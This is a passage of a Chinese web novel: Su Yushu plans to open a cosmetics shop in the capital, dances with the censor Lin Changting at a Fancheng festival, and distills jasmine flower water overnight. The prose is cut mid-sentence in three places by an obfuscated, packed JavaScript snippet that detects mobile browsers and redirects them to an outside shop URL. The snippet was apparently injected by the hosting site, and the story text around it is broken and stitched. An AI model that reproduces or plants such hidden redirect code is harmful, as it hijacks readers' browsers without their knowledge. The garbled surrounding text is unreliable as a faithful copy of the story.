“对,上京城。”她回握住兄长的肩膀,“哥,想要救苏家,就只有这么个方法。待我们拿到小六子的名单,我便可以假借开商行的由头到京城探访。要想把盐卖出去,这些人之中必有商号,唯有这个方法才能接近真相。此案苏家必受牵连,如果我能配合林大人把真凶揪出来,或许能将功折罪。不然等着我们的就只有死路一条。” “可到京城开办商号是需要公凭的,咱们家产虽丰,可是京城的公凭向来是难以到手……就算是林大人能帮我们拿到,那我们到京城的商号要经营些什么呢?以目前的布局来看,我们家的产业并没有适合涉入京城的。” 苏玉漱狡黠一笑:“哥,我有个好主意。不过……得林大人帮个忙。” 林长亭抬了抬下巴:“说来听听。” “我苏家有个商号,叫做盈字号。其下有首饰店几间,衣料店水粉店几间。这几间铺子一直是由我在背后点拨,因此我最熟悉不过。据我所知,胭脂水粉一类受的朝廷管控极松,溢价也是最高。若是林大人能助我拿到开店公凭,我们便可由盈字号的王掌柜做先锋,用樊城的两味特产来做军士。” “我在商税务有同窗,我可修书一封,想来拿到公凭并不是什么难事。只不过你说的特产是?” “这还得多谢林大人的提点。”苏玉漱晃了晃袖口,那股清新细腻的茉莉花香气仍久久不散,“樊城地气偏暖,这里的花型正香浓,正是做花水和头油的好料子。我今日上街,发现这里的桂花树也颇有特色,这里的桂花不同于其他地方的丹桂,而是香气更加馥郁的金桂。 樊城经史明这么一折腾,眼下正是百废待兴的时候,我们何不利用这两样,既能帮苏家打开京城的大门,又为樊城的百姓增一增收入呢?” “这倒是个好方法,只是……”苏玉鸿还是不免担忧,“京城乃龙潭虎穴之地,就算是林兄也屡遭刺杀,我们无权无势又初来乍到,难免遭人暗算。” “哥,这是没办法的事情。”她执金桂之笔用力戳向三角的正中,“别说是龙潭虎穴,就算是天庭地府我也非得走这一趟。经此一事我才明白,若想保小家平安,需得天下太平。 我们苏家百年基业至今实属不易,我不能眼见它高楼崩塌。哥,我们是苏家的孩子,更是东梁的子民,如今之情势,我们不得不管。” 苏玉淑从未如此坚定。从前她只盼清风朗月,嬉闹人间,可如今她才开始领悟于世间行走的意义。 她于许多人来说,已是幸运至极,她有富庶的家庭,疼爱她的哥哥,还有闯荡的权利。 这不够,远远不够。 她要一片众生平等的地,她要海晏河清的天,纵使前路危险漫漫,她不怕。 她要闯。 苏玉鸿不再多言。他揉了揉她的头,手上稍使了力量:“我妹妹长大了。” 林长亭看着月下的少女,她身上仿佛带着一阵肃杀的风霜。她从灯火中走来,却不沾染任何温度。 傲骨铮铮,一身凛然。 此刻他终于明白,自己一直所寻的究竟是一个什么样的人。他曾想过,那个人或许是风情万种,或许是娇小可爱,但都不敌面前这个冷冽的人。她像一只无畏的小兽,明知前路危险,却一往无前。 没有什么人比她更适合站在自己的身边。 苏玉淑的心也早已平静下来。时局已然厘清,那么接下来要做的就是去面对。哭泣和逃避没有任何意义,她会永远记得今日——她因自己的弱小而落泪的这一天。眼泪并不耻辱,冲刷过后她才能更好地看清这个世界,看清自己。 “林……” 她刚想和盟友说些什么,可远处人声突然随着火光沸腾起来。三人远远循声望去,竟是樊城的百姓自发搭起了戏台子。柴火被堆叠在一起,喊着号子的壮汉光着膀子戴着面具,举着火把高高跳起,火光霎时点燃了樊城,热浪仿佛都扑在了众人脸上。 “御史大人——苏小姐——苏少爷——” 或许是无需当值,知府竟换上了一件粗布麻衣,看上去与教书先生别无二致。他一溜小跑,直颠得胡子乱颤: “今天刚好是十五的大日子,多亏了林大人的善心,大家伙儿又把社祭的东西取出来了!这社祭是樊城的旧俗,每月初一十五的时候跳上一跳,能祈求风调雨顺,酬谢各路神仙。想来几日后各位便要离开樊城,不如今日与民同乐,保佑林大人仕途顺遂,苏家商路达通!” “我……”林长亭面上居然闪过一丝羞赧,“我就不了……” 苏玉淑二话不说打断了他的话头:“走!我们一起去!” “我不会跳……”他的声音低得像蚊子,“我没有……” “一回生二回熟嘛。”她笑得明媚,“还是说……林大人不想赏我这个脸?” 见御史大人沉默不语,苏玉淑眉毛一抬,挽起哥哥的手就往人群里走:“唉……那只能和我哥去跳喽……唉……” “哎!” 没走几步,她意料之中的声音便从背后响起:“我跟你去。” 林长亭的面颊染上一丝红,颤抖的睫毛暴露了他内心的紧张。她抬头看了看哥哥,苏玉鸿了然地点点头:“去吧。” “哥你真好!哥你和叶英玩!” 人群愈发喧闹起来,苏玉淑趁林长亭不备,一把牵起了他的手—— “走吧!我们一起去跳舞!” 林长亭瞪大了双眼,世界的一切此刻都与他无关,他的眼中只容得下那只白净又温暖的手,它是这样小,又这样有力,不容分说地带着他走向无尽的繁华。他忍不住回握,两人的心跳与体温融合在一起,仿佛全世界只剩心动的声音。 “你不怕我们少爷给你妹妹拐走啊?”叶英不知何时出现在苏大少爷的身旁,他嘴里叼着一根随手薅来的狗尾巴草,脑袋上还插着朵喇叭花,“我家少爷可是风流倜傥,英俊潇洒,玉树临风哦。” “嘁。我妹妹那还孔武有力,国色天香,足智多谋呢,你家少爷可别五迷三道地找不到北。” 二人对视,有如短兵相接,空气中闪过一阵霹雳哗啦的火光。叶英不服气地指了指篝火:“比比?” “比什么?” 叶英下巴一扬,指尖那根狗尾巴草精准地射入三丈外的火堆:“要比武功太欺负你了,就比跳舞,比谁学得更像。” 苏玉鸿一口答应:“比就比,你输了可别找你哥哭鼻子。” “我?我哭鼻子?”叶英气得吹胡子瞪眼,“你才是输了别要妹妹哄!” “走啊!” “走!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590478|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走就走谁怕谁啊?” 鸩远远地摇了摇头。她掏出怀里的桂花酒,歪坐在房顶上低叹一声: “哼……幼稚。” “可是你也没比我们大几岁呀。”叶荣捧着一碟子糕点坐在了她的身旁,虽说高处不胜寒,可二人远观这人间星火,却也别有一番滋味。 “这樊城的桂花酒真是香,难得今夜能有时间喝上一杯。”他取出自己的小酒壶递到鸩的身前,“千岁?” 鸩犹豫了一番,桂花香浅浅萦绕,仿佛樊城的风都透着香甜。 “千岁。” 这是她第一次与人碰杯。 篝火将每个人的脸都映照得通红,吵嚷的人声把他们的身影包围。苏玉淑带着林长亭混进了少年少女之中,他们跳着樊城社祭特有的舞步——双手斜着弯举在身侧,双腿随着鼓点交替向前,身体再随之上下摇摆。 动作虽简单,可林长亭却觉得难如登天,他那写字作画舞刀弄剑的手脚今夜也不知怎的,死活都不听使唤。 他想伸左手,右手却不自觉地给了旁边的人一肘;他想踢右腿,却莫名其妙地伸左脚绊了苏玉淑一跤。 林长亭有些气恼,他泄气地看向身边之人,却一瞬间屏住了呼吸。 苏玉淑面若桃花,曼妙的光影如同神祇落在她脸颊上的亲吻。她高举着双手,踩着清脆的鼓点,身体融入轻快的吟唱之中,自由的步伐宛若天成。桂花还别在她的发上,在一片明亮之中散发着金灿灿的光芒,她恍若月桂仙女般轻盈起舞,脖颈的线条是如此高洁,一双含笑的眼睛更是优雅沉静。 他的呼吸在那一刻滞住了。 周遭所有的喧嚣、热浪、吟唱,都像潮水般褪去,他的世界里只剩下那个在火光中旋转的身影。她不再是那个在账本与沙盘前运筹帷幄的少女,此刻的她,是月下的精灵,是火焰本身,她以一种蛮横的姿态,在他心间最坚硬的冰层上踏出了裂痕。 她像是一汪永不干涸的泉水,又像是一座不会枯竭的宝藏,她永远在生长,永远发着光。 如果时间能停在这一刻该有多好。 “林长亭?林长亭……林长亭!” 苏玉淑在他面前晃了晃手:“你在看什么?叫你怎么不理我。” “我,啊,我……我在……我在看这个舞怎么跳。”他慌乱低下头,“抱歉,我看得出神了。” 她莞尔一笑,继而伸出了手:“林大人,我有这个荣幸与你共舞一曲吗?” 他毫不犹豫地紧紧握住,再不放开。 世间的纷扰自有解决之道,只是与现在的二人毫无关联。她的发梢都在跃动,每一次旋身都带着樊城独有的暖意,火光将她的影子拉得很长,又在他的脚边轻轻蜷缩。 林长亭跟着她的节奏,僵硬的四肢渐渐舒展,那些朝堂的权谋、江湖的诡谲,此刻都被篝火的温度融化成指尖相触的温热。鼓点愈发急促,少年少女们的笑声此起彼伏,苏玉淑忽然踮起脚尖,凑近他耳边轻声道: “你看,这样跳是不是很简单?” 温热的气息混着茉莉花香拂过耳畔,他只觉得心头一跳,连呼吸都漏了半拍,却鬼使神差地点了点头。远处苏玉鸿和叶英正为了谁的舞步更标准争得面红耳赤,鸩与叶荣举杯的剪影在月光下格外清晰,而他的世界里,只剩下眼前人明亮的眼眸和交握的双手,以及那支跳不完的樊城社祭舞。 夜色渐深,篝火却越烧越旺,映得每个人的脸庞都染上了一层温暖的橘红色。那些积压在心头的烦忧与算计,都在这热烈的氛围中悄然消散。 或许前路依然荆棘,或许未来仍有许多险阻,但此刻他心中却无比笃定,只要身边有她相伴,便有足够的勇气去面对一切未知。他握紧了她的手,随着鼓点的节奏,舞步也愈发流畅自然,仿佛他们天生就该在这火光下共舞,将樊城的夜晚染上属于他们的独特印记。 一片被火焰热浪掀起的桂花,金灿灿地落在她的肩头。 他看见了,他第一次生出了想要拂去落在她身上一切尘埃的妄念——无论那是花屑,还是来自京城的风雪。 至少今夜,且让她忘一回忧吧。 50. 第五十章 “诶!她婶子,赶紧去地里收桂花呀!苏家商号正收呢,价钱开的还不低嘞。”农妇高高兴兴地捧着半贯钱,“还有你家那茉莉,开的好的人家也要!” “那可太好了,等雨季一到,那是什么花都落了。你等着,我这就去喊街坊们去打桂花来!” 自那一夜后,苏林二人各自投身于下一场硬仗之中。 在她的安排下,苏玉鸿先行回师城向父亲禀明事情原委,购置小六子名下的房产。更为重要的是要在东流盐场推行自查——贪污纳贿者、偷奸耍滑者、惫懒懈怠者通通不能放过。 苏玉淑则暂时留在樊城,她向林长亭借了些人手,走街串巷地敲锣收花,好不热闹。有了她这么一折腾,樊城上下都活泛起来。经历这一场动乱,许多遗孀孤独原本愁于生计,现下这摘桂花的活计她们也都干得,日子好过了不少。 “来,您把花儿放这儿。上称……这是一斤四两,我按一斤半算。这是一百二十文钱,您收好。”苏玉淑麻利地收货交钱,还不忘指挥几个糙汉子,“张大哥,你们晒花的时候小心些,动作要轻,铺得要开,可千万不要把花弄坏了!” “知道了大小姐!还要把碎叶子都挑出来对吧!” 几个大男人挥着大手,小心翼翼地拨弄着花朵。看着熟练地使用秤砣算盘的苏玉淑,几个人忍不住嘀嘀咕咕:“你说,苏家小姐这么有钱怎么不雇几个婆子干这事儿,非让咱们弄,咱们这大老粗哪干得明白!” “俗话说得好,无商不奸,那肯定是能省多少是多少呗,嘿嘿。” 她手上的动作一顿,这些话苏玉淑听在耳朵里,却并未发作。 “来,婆婆,这是四十文钱,您放好。”她还是热情洋溢地笑着,她没工夫搭理这些酸话,更重要的事还在等着她。 今天站在这里主事的若是林长亭,就算借他们吃了熊心豹子胆也不敢多嘴一句。这群人之所以明目张胆地嚼舌根,无非是因为商人无权无势人微言轻。且她一个女子此刻站在台前,站在比他们都要高的地方,他们又怎能心悦诚服。 这世道,要是想让男人打心底里敬重一个女子,光靠施恩和些许手段远远不够。她必须做出实实在在的成绩,让他们看到女子不仅能相夫教子,更能在这波诡云谲的世道里撑起一片天。 眼下收花只是第一步,后续的晒制、分类、运输、售卖,每一个环节都不能出问题。她得让这些花儿变成实实在在的利,不仅让樊城百姓过上好日子,更要让那些轻视她的人看看,她苏玉淑绝非是个只会躲在男人的娇小姐。 这花香里,不仅有樊城百姓的生计,更有她苏玉淑要挣的一口气。 她要让这花香飘进京城,让贵女们趋之若鹜,更要让那些高高在上的权贵们看见,她苏玉淑乃至整个苏家,并非案板上的鱼肉,而是有能力织就一张从地方到中央的商业与人情网络的存在。这瓶小小的花露,将是她叩响京城大门,也是她未来在谈判桌上的一份拜帖。 “晒好花后去把马车备好,明日回师城的路上万不可出什么岔子。”她似笑非笑地看向众人,“若是有了什么……张大哥,我唯你是问。” 她的语气冷得像淬了冰,几个原本还在说笑的糙汉子顿时收了声,讪讪地低下头,手上的动作也不敢再怠慢半分。 苏玉淑冷眼旁观着这一幕,心中却没有丝毫得意之感。她已然整整五日未曾见到林长亭的踪影,有关他的消息也只是鸩偶尔提及几句。要在如此短暂的时间内完成记录案供、清点赃物、审问叛军等事宜,绝非易事。尽管她对他的能力深信不疑,却还是难免有些担忧。 不过,一想到明日便能一同返程,她又感到几分安心。 也不知为何,这几日只要一想到林长亭,她的嘴角便不自觉地上扬。 后面排着的百姓还不少,大家都想趁着苏家离开之前尽量多做一些活计,好预备着多换上一些煤炭柴火安然地度过这个冬天。苏玉淑揉了揉酸疼的腰,这队伍排得一眼望不到头,她得手脚再麻利些才是。 “张大哥,去再取一箱钱来。” “大小姐。” 一道她再熟悉不过的声音从背后响起,苏玉淑惊诧地回过头去—— “王掌柜!你怎么来樊城了!” “少爷把您写给我的信送来了,我快马加鞭赶来帮您的忙。”王掌柜将镏着“苏”字的钱箱重重一放,高声说道:“乡亲们,这边上称发钱!大家都排好队,别乱!” 有了他这个得力干将,收花的工作进度明显快了不少。从中午一直忙到天色渐暗,钱箱里的钱都发完了,二人才总算有了喘口气的机会。 苏玉淑这才有空看向身边的人。 王掌柜的头发因一路奔波而略显凌乱,身上还粘着不知从何处沾染的枯叶子,哪里还有堂堂盈字号大掌柜的模样。 苏玉淑心中泛起一阵酸涩:“你辛苦了。” “咱们一家人不说这些,能帮上您的忙,那是我的福气。盈字号这些年从苏家最末等的商号发展成第三大商号,全都是您的功劳。大小姐,眼下有更要紧的事情。您先看看这个。” 他从随身的包裹里掏出两个密封好的瓷瓶,“要是想做出能风靡京城的妆品,用一般的东西可不行。我特意请教了师傅,这一瓶是玫瑰花露,咱们可以依照同样的方法换成茉莉花来制作。这一瓶是山茶油,咱们可以试着往里面加入桂花,做出新香型的头油。但不管是制作哪种,咱们都必须采用新鲜的原料。” “你的意思是……” 王掌柜目光笃定:“我认为我们现在就可以开始着手研究。新鲜的花材在樊城才有,我有一个设想,若是做花水,我们大可以把盈字号先开到樊城来。” “不错,樊城距离京城更近,若是如此也可以更好保证妆品质量。王掌柜,这是个好主意。”苏玉淑点点头,继续说了下去,“我信中嘱咐的事儿……” “已经安排师傅们设计赶工了,一定在中秋节前做出来。” “那就好。事不宜迟,现在天色尚早,你先回去修整,我随后带着花材就到。” 樊城这几日天气干燥,此前收上来的花已晾晒得差不多了,他们必须在夜露降下之前将花收好。苏玉淑即刻指挥众人动手收拾,尚未干透的花先放入暖房烘干,没问题的则装箱带走。在她的指挥下,众人有条不紊地忙着手中的活计,没过多久,偌大的晒场便被清理得干干净净。 她亲自在上等货中选了些优品,在这里虽没有师城的装置和人手,可她苏玉淑也不是没有办法。 这么多年经商的路,她可不是白走的。 王掌柜带来的计策确实精妙。盈字号的玫瑰花水素来是京城闺阁珍品,世家贵女与乐坊艺伎皆对其青睐有加。若能研制出茉莉花水,盈字号的收益必能翻上一番,苏家拿下京城这块“肥肉”也是指日可待。 她将这些娇嫩的花细心收入丝巾里,生怕挤了碰了。好在营房距离不远,路上也算是有惊无险。只是要做花露,她还必须要拿到一样东西。 那就是甑。 普通的器具或可以蒸腾出花水,可若是要分离得干净,就不得不用上这种器具。甑虽多用于酿酒,可对于妆品而言也是不可或缺的器具。只是这种特殊的灶具并不是家家都有,眼下只有一个地方或许可得—— 苏玉淑一溜烟跑到街上,她记得这地方有一家酒肆。不多时,她果真找到了这家店铺,只见那门头布满灰尘,不过仍依稀能看到四个字:陈家酒馆。 这家店的荒废,倒也在她的意料之中。毕竟在这兵荒马乱的年代,哪有多余的粮食用来酿酒呢。苏玉淑绕到后院,一个鹞子翻身翻过墙进了院子。她搓亮了随身携带的火棒,诚心诚意地念叨着: “多有叨扰,实在是没办法,借釜甑一用,事后定当归还!” 后院里杂草肆意生长,几只顽固的蚊子围着那火光不停地盘旋。她一边挥舞着手,一边在尘土飞扬的杂物堆里仔细翻找着。这时,一道微弱的反光映入她的眼帘—— “找到了!” 苏玉淑兴奋地瞪大双眼,如同发现宝藏的孩童一般高高举起那破旧的甑。尽管它已被磕得坑洼不平,但最为关键的半球形穹窿底依旧完好无损。甑身原本的亮银色已被一层灰锈所掩盖,想来是许久未曾使用的缘故。 不过银器只需稍加擦拭便能恢复如初,这点小瑕疵倒也不足为惧。她接着继续翻找,不出所料,不远处果真零散地放着两个釜。眼下她已集齐一套简易的花露制作装置,她定要在离开樊城之前尝试一番,跨越第一道难关。 “这是一点心意,掌柜的您权当租金吧。”她从口袋里掏出些碎银,小心翼翼地装进一旁的空酒桶里。 待有朝一日酒馆开张,老板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一道敲门声蓦地打断了她的思绪,修整过后的王掌柜正伫立在门外,恭敬说道:“大小姐,我来帮您。” 帮手来得正是时候。 王掌柜还在门外,便已闻到了那股香味儿。他家这位大小姐向来天赋异禀,学什么会什么。只是这股香气不够纯粹,远未达到盈字号应有的品质。他走上前去,查看那简陋的釜甑,这器具虽还能用,但密闭性着实差了许多。要解决杂质的问题,唯有一个办法。 那便是多道工序,小火慢取。 “大小姐,一炷香的时间过后,你需将茉莉水加入新花,反复进行萃取,以此来弥补设备的粗陋。” “好。” 苏玉淑用夹子取出柴火,调小了火焰。此时务必要把握好火候,火大了会让花瓣焦糊,带出苦涩;火小了又无法充分蒸出花香,前功尽弃。她守在釜甑旁,眼睛一瞬不瞬地盯着瓷碗里的液体,鼻尖萦绕着越来越浓郁的茉莉芬芳,那股清苦却在水汽的反复蒸腾中渐渐淡去,只余下纯粹的甜香。 夜渐渐深了,营房外传来巡逻士兵的脚步声和偶尔的低语,屋内却只有火苗的噼啪声与她浅浅的呼吸。她下意识地摸了摸怀中,那里除了随身携带的算筹,还静静躺着一方素净的手帕—— 那是林长亭那日为她包扎伤口后,她未曾归还的。 “王掌柜,明日又是舟车劳顿,你先去睡吧。”她揉了揉自己发涩的双眼,面容疲惫却倔强,“后面还有许多事要劳烦您,可不要累倒了。” 王掌柜摇摇头:“大小姐,您也累了一整天了,我来盯吧。” “无妨,这点小事对我来说不算什么。” “可……” “您就别和我犟了。”她摆摆手,“我必须要亲自做出来才能放心。” 他深知自家这位大小姐的脾气秉性,在这关键时候,她定然是不会放弃的。王掌柜也不再推托,轻声退了出去。迈步之际,他已在心里盘算好了明日回师所需的一切,他王山绝不会让大小姐再受半分劳累。 宁静的夜总是格外的漫长。 当瓷碗里的花露积攒到小半碗时,她小心翼翼地撤去柴火,待釜甑温度稍降,又换了新的茉莉花和山泉水,如法炮制。 如此反复数次,直到天边泛起鱼肚白,桌上才摆了三个盛满透明液体的瓷瓶,瓶身都仔细贴好了标签,分别是“头道露”“二道露”“三道露”。 她拿起最小的那瓶三道露,轻轻晃了晃,清澈的液体在晨光中泛着微光,凑近鼻尖轻嗅,一股比新鲜茉莉更为纯粹、更为馥郁的香气瞬间涌入肺腑,甜而不腻,清而不飘,正是她想要的味道。 直到此时,苏玉淑疲惫的脸上终于露出一抹欣慰的笑容。 几近燃尽的柴火温暖着她的身子,苏玉淑蜷缩在小小的椅子上,在第一抹晨光到来之前沉沉睡去。 51. 第五十一章 天光初亮之际,鸩早早地候在了林长亭的门外。 整理口供、清点人数、封闭卷宗,他忙了一整晚。鸩犹豫再三,最终还是叩响了他的房门:“少爷,属下有事禀报。” “进来说话。” 林长亭罕见地流露出些许疲态,他那一头长发随意地束成低马尾,身着的长石灰色罩衫显得格外典雅。他吹灭了燃了一夜的烛火,重重合上案卷:“何事?” “重要人犯均已严格看管,按照您的吩咐,叶荣已带着诱饵出发,史明由您亲自押送。” “好。” “少爷,距离出发尚有两个时辰,您还请多多保重。” “知道了。若无其他事,你先退下吧。” 林长亭缓缓闭上干涩的双眼,用力按压着太阳穴,好似如此便能驱散通宵带来的劳累。然而,意料之中的脚步声并未响起。他微微抬眸,语气中多了一丝不悦: “还有何事?” 鸩思索再三后,如实禀报:“是苏大小姐。昨夜她似是独自在柴房研究了些什么,今早我发现她竟睡在了那里。我已将她抱回卧室,特向少爷禀明。” 苏玉淑?睡在柴房? 他不由得坐直了身子,略显苍白的脸上写满了无奈:我去看看。” 她总是这么不让人省心。 林长亭三两下披好衣服迈步出门。他回想起二人初识之时,她也是背着自己查盐场、救乐妓,眼下又不知道在自己捣鼓什么。真不知道是该夸她能独当一面呢,还是该骂她腹有鳞甲。 清晨,青石砖上蒙着一层薄薄的水汽。林长亭行色匆匆,一不小心脚下打了个趔趄。他慌忙稳住身形,甚至顾不上回头看上一眼便又匆匆赶路。 见不到她,他心里始终没着没落的。 人走到门前,心底却蓦地涌起几分胆怯来。他轻轻拢了拢头发,胡乱用袖口擦了擦脸,然后蹑手蹑脚地打开了苏玉淑的房门。 她睡得很沉,整个人蜷缩在被子里,宛如一只安静的小猫。 林长亭轻轻合上房门,生怕一丝声响惊扰了她的好梦。他轻手轻脚地踱步到屋内,只见桌子上摆放着三个小巧的瓶子,上面还粘着用草纸写就的便笺。 想来,这便是让她忙活了一整晚的东西。 林长亭的目光落在便笺之上,上面的字迹娟秀却又透着几分潦草,想来是赶时间时匆匆写下的。窗外的天色逐渐亮了起来,晨光透过窗棂的缝隙,洒落在她的脸上,映得她长长的睫毛宛如两把小扇子,随着呼吸轻轻颤动。 他鬼使神差地在她的床头坐了下来,指尖无意识地摩挲着床板,心中那份一直悬着的石头,总算是落了地。这丫头,每次都把自己折腾得疲惫不堪,却又总能在最后带来意想不到的结果。 他望着她熟睡的模样,嘴角不自觉地勾起一抹既无奈又带着几分宠溺的笑意,只希望她这一觉能睡得更安稳些,别再像从前那样,梦里都念叨着那些繁杂之事。 只要她没事就好。 “嗯……” 苏玉淑在睡梦中轻轻哼了一声,仿佛梦到了什么,两只手不停地抓着被子,眉头也微微皱起。林长亭的心瞬间提了起来,他下意识地放缓了呼吸,生怕惊扰到她。他静静地凝视着她,目光在她的脸颊上停留了许久,心中五味杂陈。 他伸出手,想要抚平她皱起的眉头,可指尖在即将触碰到她脸颊的那一刻,却又犹豫着缩了回去。 他不能这么做,这不合乎礼数。自己擅自进入她的闺房已然越矩,若是再…… “林长亭……” 他的理智被一句轻声呢喃瞬间瓦解,林长亭毫不犹豫地握住了她的手—— 那只手有些微凉,带着柴草与草药混合的淡淡香气。他的掌心干燥而温暖,轻轻包裹住她纤细的手指,仿佛这样就能把自己的力量传递给她。苏玉淑似乎感受到了什么,在睡梦中轻轻动了一下,随即又放松下来,眉头渐渐舒展开,呼吸重新变得平稳而悠长。 见她睡得安稳,林长亭松了口气,却没有立刻松开手。他就保持着这个姿势,静静地守在床边。 窗外的鸟鸣声渐渐清晰起来,与屋内的寂静交织在一起,营造出一种奇妙的安宁氛围。他看着她恬静的睡脸,心中那份因她而泛起的情绪,如潮水般缓缓流淌,带着一丝连他自己都未曾察觉的温柔与珍视。 她的心跳似乎都汇聚到了指尖,俏皮地落在了他的掌心。林长亭干脆坐在地上,半靠着床身,却依旧紧紧握着她的双手。困意随着她的呼吸悄然袭来,他仿佛置身于温暖的阳光里,就这样沉沉睡去。 苏玉淑做了一个好梦。 梦里繁花似锦,蜂蝶轻盈翩跹,她悠然置身于一片广袤无垠的花田之中,清甜的花香在空气中肆意弥漫。远处隐隐约约似有人在呼唤她的名字,她闻声循去,映入眼帘的却只有一片朦胧的光影。 那人的目光轻柔而温暖地落在她的身上,像极了六月的晚风。她的脚步仿佛被无形的丝线悄然牵引,不由自主地一步步朝着那温暖的源头缓缓靠近。雾霭渐渐消散,那熟悉的身影背对着自己,正静静地伫立在花田中央。微风轻轻拂过,他身形颀长,姿态清雅,宛如从画中走出的谪仙一般。 她心头一紧,几乎是脱口而出那个名字:“林长亭……” “林长亭……林长亭?” 苏玉淑拼尽全力,好不容易才睁开双眼,然而双手却好似被无形的枷锁禁锢般动弹不得。她眯起眼睛,梦里那个模糊的身影此刻正静静地靠在自己的床边,还紧紧地攥着自己的手不放。 她难得见到林长亭这副模样。 他黑亮的秀发柔柔地铺散开来,原本白皙的脖颈被晒得发红,一缕发丝垂在他的胸口,更有一番风味。 她还从没有仔细端详过这个人。 细看之下,林长亭竟生得这样好看。他的眉骨高挺,眼窝深邃,睡着时长长的睫毛在眼睑下方投下一片浅浅的阴影,鼻梁挺直,唇线清晰,就连睡着时微抿的唇角都透着几分平日里少见的柔和。晨光透过窗纱,在他身上勾勒出一层淡淡的光晕,让他整个人看起来少了几分平日的清冷,多了几分温润。 “看够了吗?” 苏玉淑的心跳莫名漏了一拍,她下意识地想要抽回手,却发现他握得很紧,仿佛握着什么稀世珍宝一般。 “林长亭,你太阴险了,居然装睡!”苏玉淑气鼓鼓地戳了戳他的肩头,“快松手啊……” 他故意又使了使力,直到少女吃痛,赏了他一拳,这才心满意足地松开手。 “你怎么在这里?” “鸩说你一夜未眠,我来看看你。”林长亭动了动有些酸痛的腰,轻声问道:“我可以坐上去吗?” 苏玉漱羞赧地将头缩进被子里,瓮声瓮气地说:“不可以。” 她这副模样可爱极了。 “可是我伤还没好全,今天还要骑马赶路呢。”他的声音里莫名带上了几分委屈,“要不是你做噩梦一直抓着我不放,我也不至于一直坐着……” “明明是你握着我的手!”她气鼓鼓地露出眼睛,狠狠剜了他一眼:“恶人先告状!” 话虽说得狠,可她还是乖乖地蜷起腿,扭了扭身子坐起来,给林长亭让出了地方。 他听着被子摩擦的声音,笑着起身:“你躺好,我坐这边就行。” 苏玉淑不满地卷起被角,她揉了揉眼睛问道:“你那边处理得怎么样了?” “都在计划之中,不必担心。昨夜……你在忙什么呢?” 听到这话,苏玉漱两眼放光,像鲤鱼打挺般一下子爬了起来。她拿起白瓷瓶,满脸写着骄傲:“这是我仿照苏家玫瑰花水做的茉莉花露。盈字号要是想进京,只靠那些普通的货品可远远不够。这三瓶分别是经过三道工序萃取的花水,你要不要试试看?” “乐意之至。” 他接过第一个瓶子,轻轻旋开木塞,一股清雅的茉莉香气如春日细雨般弥漫开来。这香气不像寻常香料那般浓烈,反倒带着几分草木的鲜灵之气,仿佛把整座茉莉园都搬进了这小小的瓶中。 第二瓶则更为独特,香气更加馥郁醇厚,比第一瓶多了几分温润的甜意,却又不失雅致,仿佛将初绽的茉莉与晨露一同封存。细细品味,竟能感受到一丝若有若无的回甘。 林长亭不禁为她的才华所惊叹,他笃定地说道:“这两瓶都这般出色,想来最后一瓶定是上上之品。” 可苏玉淑却摇了摇头。 她睡眼惺忪的小脸上添了一丝担忧:“这第三瓶虽说最接近我想要的味道,但若想卖出最高的价钱,它还差得远呢。我总感觉……缺了点什么东西。” 林长亭收起了一探究竟的心思,轻轻地将瓷瓶放入她手中:“这最后一瓶,我想等你觉得它完美的那一刻……亲自交到我手上。” 苏玉淑仿佛透过白瓷感受到了他轻柔语气中暗藏的力量,她用力握了握瓷瓶,笑容坚定:“我会的。” “大小姐——王山求见——” “糟了!我忘了王掌柜早上要来!”门外突然传来的男声,着实把她吓了一跳。苏玉淑顿时手忙脚乱,一阵慌乱地折腾,却又似乎不知道自己在忙些什么。她只能匆忙回应道:“在!王掌柜,你,你稍等一下!” 她在慌张之中迅速扯过被子裹在自己身上,急切说道:“你就说我身体不适,今日启程你不放心,所以特意前来探望!林长亭,你一定要拿出御史大人的派头,把这场戏演得逼真些!” 说完,她便安静地躺好,只是嘴角仍止不住地微微颤抖。 林长亭见状,不禁哑然失笑。 事情原本就是这样……真不明白这丫头在紧张什么。 既然她此刻躲懒装病,他也只好整理了一下衣服,大大方方地打开了门。 “大……小姐?” 王山本想行礼,可就在他低头的瞬间,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏玉淑接过他递上的本子,只是轻轻放在一旁。她向来对王掌柜做事放心,盈字号这些年在他手上从未出过差错。 她放心了,可林长亭却一万个不放心。 这个面容正直刚毅的掌柜,他怎么看都不顺眼。他不容置疑地坐在她的床边,用自己的身子将二人隔开,说道: “玉淑,若无别的事,你先休息,一会儿出发的时候我让鸩来叫你。你多睡一会儿,好吗?” 他故意说得暧昧,余光不住地瞥向王掌柜,又道:“这东西等你好些再说,也不急这一时。” 即便王掌柜为人敦厚,也感受到了面前这位御史大人的敌意。不知怎的,一向圆滑的他也较起真儿来。他换了个位置,正对上苏玉淑迷茫的眼神: “大小姐,我昨日包下了樊城最好的马车,车厢内用上好的锦缎铺就,还备了软垫和薄毯,您久坐也不会觉得劳累。而且我特意让厨子备了您爱吃的桂花糕,装在食盒里带着,路上饿了就能吃。” 说着,他从怀里掏出一个小巧的油纸包,里面正是苏玉淑平日里念叨的糖渍梅子,“樊城的到底不如师城的好吃,您先将就着解解闷儿。” 林长亭见他这般周到,眉头微微蹙了蹙,伸手替苏玉淑掖了掖被角,声音温和却带着不容置疑的口吻:“有我在,这些琐事自会安排妥当。玉淑如今最要紧的是养好精神,王掌柜的心意我替她领了,东西先放着吧。” 